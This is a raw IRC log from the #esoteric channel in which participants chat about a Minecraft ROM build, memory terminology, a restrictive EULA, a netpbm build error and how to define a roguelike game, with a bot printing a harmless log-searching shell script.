:ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :@tell elliott *like < 1331892093 98283 :lambdabot!~lambdabot@li85-105.members.linode.com PRIVMSG #esoteric :Consider it noted. < 1331892673 578130 :MSleep!~fyrc@67.232.230.235 QUIT :Ping timeout: 265 seconds < 1331892755 946137 :MoALTz_!~no@host-92-8-235-14.as43234.net JOIN :#esoteric < 1331892800 629044 :MoALTz!~no@host-92-8-226-99.as43234.net QUIT :Ping timeout: 272 seconds < 1331893666 448101 :derdon!~derdon@pD9E1D25E.dip.t-dialin.net JOIN :#esoteric < 1331895246 560344 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :I invented a game in seven hours called "KING" that at first at ask you a difficulty level and gives you description of your character such as "You have red scales, seven eyes, and no feet" and then the goal of the game is to collect 100 stones to become king. < 1331895348 867923 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :You can also use the stones to fight (although you might lose the stones if you do that), and there are also potions. < 1331895503 675372 :Madoka-Kaname!~moe@inportb/loli/cirno-chan PRIVMSG #esoteric :http://dl.dropbox.com/u/49064620/2012-03-16_05.33.15.png < 64 bit random access ROM in Minecraft~ < 1331895513 541655 :Madoka-Kaname!~moe@inportb/loli/cirno-chan PRIVMSG #esoteric :Now to make actual random access memory < 1331895569 942709 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :"random access ROM"? so it's both ROM and RAM /simultaneously/? < 1331895637 358570 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :ACTION notes that RAM is a bit of a weird name for what it's usually used for < 1331895821 671839 :Jafet!~Jafet@unaffiliated/jafet JOIN :#esoteric < 1331895878 555834 :Madoka-Kaname!~moe@inportb/loli/cirno-chan PRIVMSG #esoteric :ais523, it's ROM that can be randomly accessed. < 1331895889 84804 :Madoka-Kaname!~moe@inportb/loli/cirno-chan PRIVMSG #esoteric :(Unlike piston tapes, etc) < 1331895931 328145 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :_true_ random access memory: you access a random bit each time. < 1331895985 861264 :myndzi\!myndzi@c-67-168-184-168.hsd1.wa.comcast.net JOIN :#esoteric < 1331896013 886181 :RocketJSquirrel!codu@codu.org PRIVMSG #esoteric :ROM just means read-only, and RAM just means random-access, so really there's nothing preventing it from being both ... in fact, most real ROM is RAROM I suppose. < 1331896184 400612 :Jafet!~Jafet@unaffiliated/jafet PRIVMSG #esoteric :SDDDDDRRARWM < 1331896195 541192 :myndzi!myndzi@c-67-168-184-168.hsd1.wa.comcast.net QUIT :Ping timeout: 246 seconds < 1331896324 333183 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Jafet: that's a really bad throat you've got, maybe you should see a doctor < 1331896424 568300 :Jafet!~Jafet@unaffiliated/jafet PRIVMSG #esoteric :One who gives good throat? < 1331896522 441248 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION swats Jafet -----### < 1331896552 105414 :Jafet!~Jafet@unaffiliated/jafet PRIVMSG #esoteric :ACTION phlegms. < 1331896565 391384 :Jafet!~Jafet@unaffiliated/jafet QUIT :Quit: Leaving. < 1331897097 818349 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :I have a game on my computer, where the first sentence of the READ.ME file says: "BIS (Bugs In Space!) is a text-adventure style game (similar to Rogue or Hack)." That is untrue--it is not a text-adventure style game nor is it similar to Rogue or Hack. < 1331897149 167226 :RocketJSquirrel!codu@codu.org PRIVMSG #esoteric :Nor are text-adventure style games similar to Rogue or Hack. < 1331897173 933397 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :I know. < 1331897183 312259 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :bullshit in space < 1331897427 869512 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :Game pieces include walls which cannot be moved through (although no points are lost for trying), water (which also cannot be moved through, but you lose ten points for trying), boulders (which can be pushed into water to make land), diamonds (worth 100 points when collected), hearts (also worth 100 points when collected -- no different to diamonds), food (can be collected but has no effect) < 1331897462 449013 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :To reach the next level, you have to go into the house < 1331897548 64754 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :There are "good arrows" which point to the left, and can be collected to shoot (W for short-range, F for long-range); and "bad arrows" which point up and down. < 1331897798 618998 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :Other pieces include keys, doors, mirrors (have the same appearance as your piece, but otherwise act like walls), invisible walls, monster freezers, "Strong You" (the description is "can't move; keeps track of lives"), diamond makers (actually they make hearts as well), question marks (which become a random object when touched), flashing lights that kill you if touched, swappers, and holes. < 1331897841 134382 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :If you win the game it displays the message: "YOU WIN! YOU WIN! YOU WIN! You have found $200 and the Tetro pieces of Ixi-Bixis" (I don't know what that is). < 1331898141 863019 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :btw, for fun, I tried reading the EULA of some shovelware games that came with Windows when I bought the computer < 1331898148 893213 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :(didn't actually /accept/ it, of course) < 1331898163 204784 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :among other things, it allowed them to modify it at any time simply by posting that they were doing so on their website < 1331898170 193361 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and disallowed you from uninstalling the software < 1331898179 956100 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I'd be pretty surprised if it were enforceable… < 1331898336 455395 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :"I didn't uninstall it, i just ground its bits to dust with dd" < 1331898486 552918 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover/x-3377486 JOIN :#esoteric < 1331898865 152174 :nortti!~chatzilla@a88-113-14-106.elisa-laajakaista.fi JOIN :#esoteric < 1331899433 182535 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: they also disallowed you directly or indirectly removing bits of it < 1331899477 861298 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no no, you see, the bits are still _there_. i'm sure the NSA could read them _just_ fine... < 1331899547 573975 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com PRIVMSG #esoteric :I doubt such thing is valid especially if the software game with the computer < 1331899738 732318 :MDude!~fyrc@67.232.230.235 JOIN :#esoteric < 1331899761 359715 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :zzo38: it did, but it wanted you to accept the EULA before doing anything but putting up an EULA acceptance dialog < 1331899846 927245 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :RocketJSquirrel: re the topic, we really need to start an esolang programmer interviews section < 1331899855 234462 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :even if they weren't being interviewed about esolangs < 1331899872 382311 :FireFly!~firefly@firefly.xen.prgmr.com QUIT :Changing host < 1331900009 378681 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also, I'm having problems trying to work out who was trolling in that interview < 1331900011 232747 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :possibly both of you < 1331900068 230121 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :does it count as trolling if it's almost entirely for humor in the first place. < 1331900112 106747 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :also, why don't i use question marks any longer. < 1331900158 533634 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`pastelogs oerjan>.*[?]$ < 1331900173 778825 :HackEgo!codu@codu.org PRIVMSG #esoteric :http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.28391 < 1331900204 843465 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :bah too long < 1331900215 645186 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :`pastlog .*\?$ < 1331900244 618497 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh there were plenty of hits in 2007... :P < 1331900248 694528 :HackEgo!codu@codu.org PRIVMSG #esoteric :No output. < 1331900254 675469 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :`pastlog .*\?$ < 1331900273 801640 :HackEgo!codu@codu.org PRIVMSG #esoteric :2009-10-07.txt:22:51:43: Gregor: the third source comic link on that lonely dino strip is not working. also, why the heck are you going via google? < 1331900284 64633 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that was 2009 < 1331900307 546868 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :TOO LONG AGO < 1331900317 128735 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`cat bin/pastelogs < 1331900319 707801 :HackEgo!codu@codu.org PRIVMSG #esoteric :​#!/bin/sh \ cd /var/irclogs/_esoteric \ \ pasterandom() { \ if [ "$1" -gt 150 ]; then \ echo "No." \ exit \ fi \ for i in $(seq "$1"); do \ file=$(shuf -en 1 ????-??-??.txt) \ echo "$file:$(shuf -n 1 $file)" \ done | paste \ } \ \ if [ "$1" ]; then \ if expr "$1" + 0 >/dev/null 2>&1; then \ pasterandom "$1" \ else \ lines=$(grep -P -i -- "$1" < 1331900351 713849 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`run cat bin/pastelogs | tail < 1331900354 981769 :HackEgo!codu@codu.org PRIVMSG #esoteric :lines=$(grep -P -i -- "$1" ????-??-??.txt | head -n 301) \ { \ echo "$lines" | head -n 300 \ [ $(echo "$lines" | wc -l) -eq 301 ] && echo "[too many lines; stopping]" \ } | paste \ fi \ else \ pasterandom 40 \ fi \ < 1331900385 755533 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hmph < 1331900502 863768 :derdon!~derdon@pD9E1D25E.dip.t-dialin.net QUIT :Remote host closed the connection < 1331903390 964724 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1331906019 485313 :nortti!~chatzilla@a88-113-14-106.elisa-laajakaista.fi PRIVMSG #esoteric :I'm sick of netpbm's make script stopping on "pnmtopng.c:2795: error: 'ZLIB_VERSION' undeclared (first use in this function)" under OS X. Can anyone help? < 1331906137 394964 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :do you have zlib installed? < 1331906150 176891 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and if so, is it looking at the right headers to find it? < 1331906152 862167 :nortti!~chatzilla@a88-113-14-106.elisa-laajakaista.fi PRIVMSG #esoteric :yes I do < 1331906164 619329 :nortti!~chatzilla@a88-113-14-106.elisa-laajakaista.fi PRIVMSG #esoteric :seems to be < 1331906197 157321 :boily!~boily@modemcable235.198-70-69.static.videotron.ca JOIN :#esoteric < 1331906468 30590 :nortti!~chatzilla@a88-113-14-106.elisa-laajakaista.fi QUIT :Quit: ChatZilla 0.9.88.1 [Firefox 11.0/20120312200651] < 1331906514 382849 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It seems to be assuming that automatically includes . I guess that's reasonable, but I'm not entirely sure it's explicitly guaranteed. < 1331907313 762073 :MoALTz__!~no@host-92-8-235-14.as43234.net JOIN :#esoteric < 1331907468 703864 :MoALTz_!~no@host-92-8-235-14.as43234.net QUIT :Ping timeout: 255 seconds < 1331907685 720902 :tzxn3!~tzxn3@cpc5-mapp3-0-0-cust464.12-4.cable.virginmedia.com JOIN :#esoteric < 1331908082 535331 :zzo38!~zzo38@h24-207-49-17.dlt.dccnet.com QUIT :Quit: Chess And Umbrella-Twirling Made Easy < 1331909062 672005 :azaq23!~derivecto@unaffiliated/azaq23 QUIT :Quit: Leaving. < 1331909478 575842 :RocketJSquirrel!codu@codu.org PRIVMSG #esoteric : also, I'm having problems trying to work out who was trolling in that interview // I believe the only valid answer is "both of us" < 1331909499 974543 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I think so, indeed < 1331909546 822899 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :fascinating how read-only and random-access are treated as mutually exclusive concepts < 1331909688 901003 :Vorpal!~AnMaster@unaffiliated/anmaster JOIN :#esoteric < 1331909717 213487 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :another possible naming system is RM read memory / RWM read write memory < 1331909725 363589 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :but that would be stupid < 1331909870 792130 :itidus21!~itidus21@120.148.51.249 PRIVMSG #esoteric :bleh < 1331914601 154450 :monqy!~swell@pool-71-102-226-192.snloca.dsl-w.verizon.net JOIN :#esoteric < 1331914693 400794 :asiekierka!~asiekierk@078088180231.elblag.vectranet.pl QUIT :Read error: Operation timed out < 1331915429 680257 :RocketJSquirrel!codu@codu.org PRIVMSG #esoteric :ais523: Also, are you volunteering to be interviewer? X-D < 1331915441 673063 :RocketJSquirrel!codu@codu.org PRIVMSG #esoteric :(For esoprogrammer interviews, that is) < 1331915451 431983 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I'm not sure, but probably not < 1331915470 68316 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I was more referencing that Keymaker and I had been interviewed too < 1331915504 285514 :RocketJSquirrel!codu@codu.org PRIVMSG #esoteric :But neither directly related to esolangs, no? < 1331915529 648079 :asiekierka!~asiekierk@078088161004.static.elblag.vectranet.pl JOIN :#esoteric < 1331915613 123129 :lifthrasiir!~lifthrasi@222.122.156.78 QUIT :Ping timeout: 265 seconds < 1331915627 556707 :lifthrasiir!~lifthrasi@222.122.156.78 JOIN :#esoteric < 1331916009 898979 :nortti!~chatzilla@a88-113-14-106.elisa-laajakaista.fi JOIN :#esoteric < 1331916455 238763 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover/x-3377486 PRIVMSG #esoteric :Sacha Baron Cohen is English. < 1331916455 507769 :lambdabot!~lambdabot@li85-105.members.linode.com PRIVMSG #esoteric :Phantom_Hoover: You have 2 new messages. '/msg lambdabot @messages' to read them. < 1331916463 206646 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover/x-3377486 PRIVMSG #esoteric :W H A T < 1331917304 350275 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :you think he was canadia? < 1331917411 151614 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover/x-3377486 PRIVMSG #esoteric :@tell elliott MOST SHOCKING TWIST YET < 1331917411 429953 :lambdabot!~lambdabot@li85-105.members.linode.com PRIVMSG #esoteric :Consider it noted. < 1331917421 897952 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover/x-3377486 PRIVMSG #esoteric :quintopia, no, I just never thought he'd be English? < 1331917837 264410 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Phantom_Hoover: isn't the whole /point/ that he's white and English and tries to emphasise that he isn't at every opportunity? < 1331917876 141565 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover/x-3377486 PRIVMSG #esoteric :Possibly, but I know next to nothing about him. < 1331917976 664758 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that's the main defining feature of his comedy < 1331918042 896811 :Jafet!~Jafet@unaffiliated/jafet JOIN :#esoteric < 1331918117 405358 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i could forgive someone thinking he wasn't though, considering he speaks hebrew fluently. if someone said "israeli" i'd say it was more plausible than not. < 1331918348 546209 :lifthrasiir!~lifthrasi@222.122.156.78 QUIT :Ping timeout: 260 seconds < 1331918362 404954 :lifthrasiir!~lifthrasi@222.122.156.78 JOIN :#esoteric < 1331919057 267428 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :hm, What would you say defines a "rogue like"? Does it have to be turn based for example? < 1331919069 112116 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :(I guess I should highlight ais523 for that question) < 1331919119 422841 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Vorpal: there have been debates over the definition < 1331919135 658610 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :there's a definition that people came up with at a roguelike conference, but it's generally considered imperfect < 1331919149 326862 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :hm okay < 1331919182 338381 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :ais523, got a link or anything useful for googling that? < 1331919232 227102 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :http://roguebasin.roguelikedevelopment.org/index.php/Berlin_Interpretation < 1331919241 261977 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :thanks < 1331919329 517386 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :so pretty vague definition, okay < 1331919346 956828 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :ais523, hm do you know any game you would consider rogue like that isn't turn based? < 1331919372 396465 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Spelunky? < 1331919379 478570 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I've often wished it were turn-based, though < 1331919385 326356 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :never heard of it *googles* < 1331919386 698424 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :which is surprising given that it's a platformer < 1331919399 772482 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :as well as a roguelike < 1331919409 427352 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :uh... I don't see how a turn based platformer would even work :D < 1331919428 183633 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :everything pauses when you're not moving < 1331919438 756210 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :like world 4 of Braid < 1331919443 565675 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :ah yes < 1331919494 259366 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :I'm not sure I would call world 4 of Braid turn based. For example you don't need to provide input to move (if you are falling) < 1331919549 438912 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :Vorpal: but that's just logical. the game realized that your input would not change the outcome, and so just ran turns until it would again < 1331919566 745506 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :also you can move as much as you want during a turn, by bouncing up and down. So each "player" (you or a mob) doesn't take a turn moving < 1331919585 648216 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :quintopia, oh but it would. You could move sideways when falling after all < 1331919596 705388 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :oh really? < 1331919598 539995 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :like in most platformers (unrealistic of course) < 1331919607 664466 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :in that case, yeah, you'd want to be able to pause midair too < 1331919623 591793 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :well you could just go back in time of course < 1331919624 222365 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :the motion scheme should be DROD-like < 1331919629 445814 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :DROD? < 1331919649 850718 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :everyone moves at once when you press a key < 1331919665 300288 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :perhaps DROD is a rogue-like < 1331919675 221807 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :oh DROD is a game? < 1331919703 707391 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :oh < 1331919709 381927 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :DROD does not have randomized levels < 1331919714 57013 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :does that disqualify it? < 1331919721 595492 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :possibly < 1331919738 264752 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :I guess it depends on how much else it manages to do < 1331919803 127978 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :well it is definitely a dungeon-crawler < 1331919811 803548 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :with lots of environmental features < 1331919828 220210 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :some items to collect < 1331919839 884516 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :not much in the way of RPG-style stats tho < 1331919851 933767 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :all enemies can be killed just by touching them with the sword < 1331919861 610499 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :so its more of a puzzler < 1331919909 761843 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :anyway I was wondering if a twin stick shooter style real time combat "rogue like" would be fun. Saw some game trailer slightly along those lines some time ago (didn't catch the name) but it didn't seem to have resource management and so on anyway. But it got me thinking anyway. It did have random levels though < 1331920042 154604 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :not sure if it is just nethack, but the rogue likes I can think of doesn't have much in the way of quests. Sure nethack has the main quest. And then there is the class quest, but that is required for the main quest anyway. But not a lot of side quests really. < 1331920042 691601 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :you mean something like Gun Bros? < 1331920053 69642 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :quintopia, not sure what that one is *googles* < 1331920078 320041 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :lacks wikipedia page? Or search engine just messing with me? < 1331920097 790364 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :quintopia, okay it lacks wikipedia page, what is it < 1331920113 346995 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :http://www.youtube.com/watch?v=MnDzMTCFtNs < 1331920185 833611 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :it does lack resource management...health is the the only thing you have to maintain. there are some specials you can buy, but the main point is avoiding getting hit/shot while killing everything < 1331920203 858967 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :oh an iphone game, no idea about the controls on such a thing. On console it is one analogue stick to move and one to aim. On PC it is usually wasd to move and mouse to aim < 1331920231 251642 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :its two virtual sticks. you can se them in the bottom left and right corners < 1331920249 200353 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :is one of the guys computer controlled? < 1331920297 412845 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :yeah < 1331920307 276996 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :completely useless too < 1331920310 270802 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :just dies a lot < 1331920315 956515 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :doesn't look like a particularly fun game that one < 1331920333 918687 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :seems to be approximately what you described < 1331920343 151957 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :well yeah, but the controls must be terrible < 1331920356 956957 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :controls are completely intuitive < 1331920358 445602 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :I really think you need the precision of a PC mouse for that type of game. < 1331920361 328118 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :what did you have in mind? < 1331920381 729545 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :I'm questioning weather you get the required precision with those controls < 1331920424 535102 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :not as sensitive to precision issues as a FPS, but still < 1331920425 528970 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i have no trouble placing myself and hitting what i'm aiming at. haven't played in a while though cuz its one of those real-money=virtual-upgrades games < 1331920447 967332 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :ugh, that type of game < 1331920496 869197 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :so, other than controls, what did you have in mind < 1331920539 535991 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :well, the resource management of nethack, and possibly not using guns. Would work just fine with magic < 1331920579 919522 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :why realtime and not continuous-time-turn-based as ais described? < 1331920608 822522 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :to require quick reactions < 1331920616 407853 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :you can't just stand there < 1331920631 583387 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :but you're still gonna have permanent death? < 1331920633 696827 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Vorpal: you might also be interested in http://roguebasin.roguelikedevelopment.org/index.php?title=What_a_roguelike_is < 1331920633 958425 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :hm, also stealth elements might be interesting. Not sure how that would work with a top down or isometric perspective though. < 1331920646 86423 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :(I /really/ like stealth games) < 1331920646 928057 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and ADOM is a really quest-heavy roguelike < 1331920650 961209 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :ah okay < 1331920655 445648 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :haven't played ADOM < 1331920671 622561 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :played nethack, slashem, a little bit of angband (forgot which variant, was years ago) < 1331920678 953077 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :ADOM is somewhat spoiler-heavy < 1331920684 414359 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also, closed-source < 1331920687 237537 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :ah < 1331920693 471487 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :spoiler-heavy? < 1331920715 155056 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :ais523, anyway a rogue like definitely doesn't need ASCII graphics. < 1331920720 745406 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :indeed < 1331920726 28238 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it doesn't need any single one of the factors < 1331920727 153333 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :just look at Dungeons of Dredmor (sp?) < 1331920737 154112 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oh, /that/ needs ASCII graphics ;) < 1331920741 629223 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :oh? < 1331920742 77379 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :(or at least, a better camera angle) < 1331920745 19307 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :well yes < 1331920749 58507 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :it is oblique I think < 1331920754 345965 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :which is not really such a good angle < 1331920767 760409 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :isometric usually looks nicer < 1331920794 905934 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :hm what about a first person rogue like < 1331920851 747334 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :ais523, I can't think of a rogue like without at least an option for permadeath though < 1331920864 525944 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :and slaughtering loads of enemies < 1331920873 261204 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :what about a second person rogue-like? where you can only ever see your character's face and what's immediately behind him? < 1331920890 195490 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :I don't think I ever heard of a second person game... < 1331920891 37381 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :heh < 1331920903 264695 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :choose your own adventure books are typically second person < 1331920907 808417 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :ah okay < 1331921034 926897 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :actually I think you might need some sort of turn based system, at least as long as you have hunger. Without hunger you could pause in a safe position when trying to figure out where to go. Same with turn based (easily) < 1331921041 544490 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :but not so much with real time hunger < 1331921275 424370 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Vorpal: Spelunky doesn't have hunger, but sometimes an area you thought was safe isn't (slow-moving monster catches up to you, etc) < 1331921283 904414 :ais523!~ais523@unaffiliated/ais523 QUIT :Remote host closed the connection < 1331921305 65567 :Vorpal!~AnMaster@unaffiliated/anmaster PRIVMSG #esoteric :ah < 1331921460 978829 :Taneb!~Taneb@host-2-99-87-235.as13285.net JOIN :#esoteric 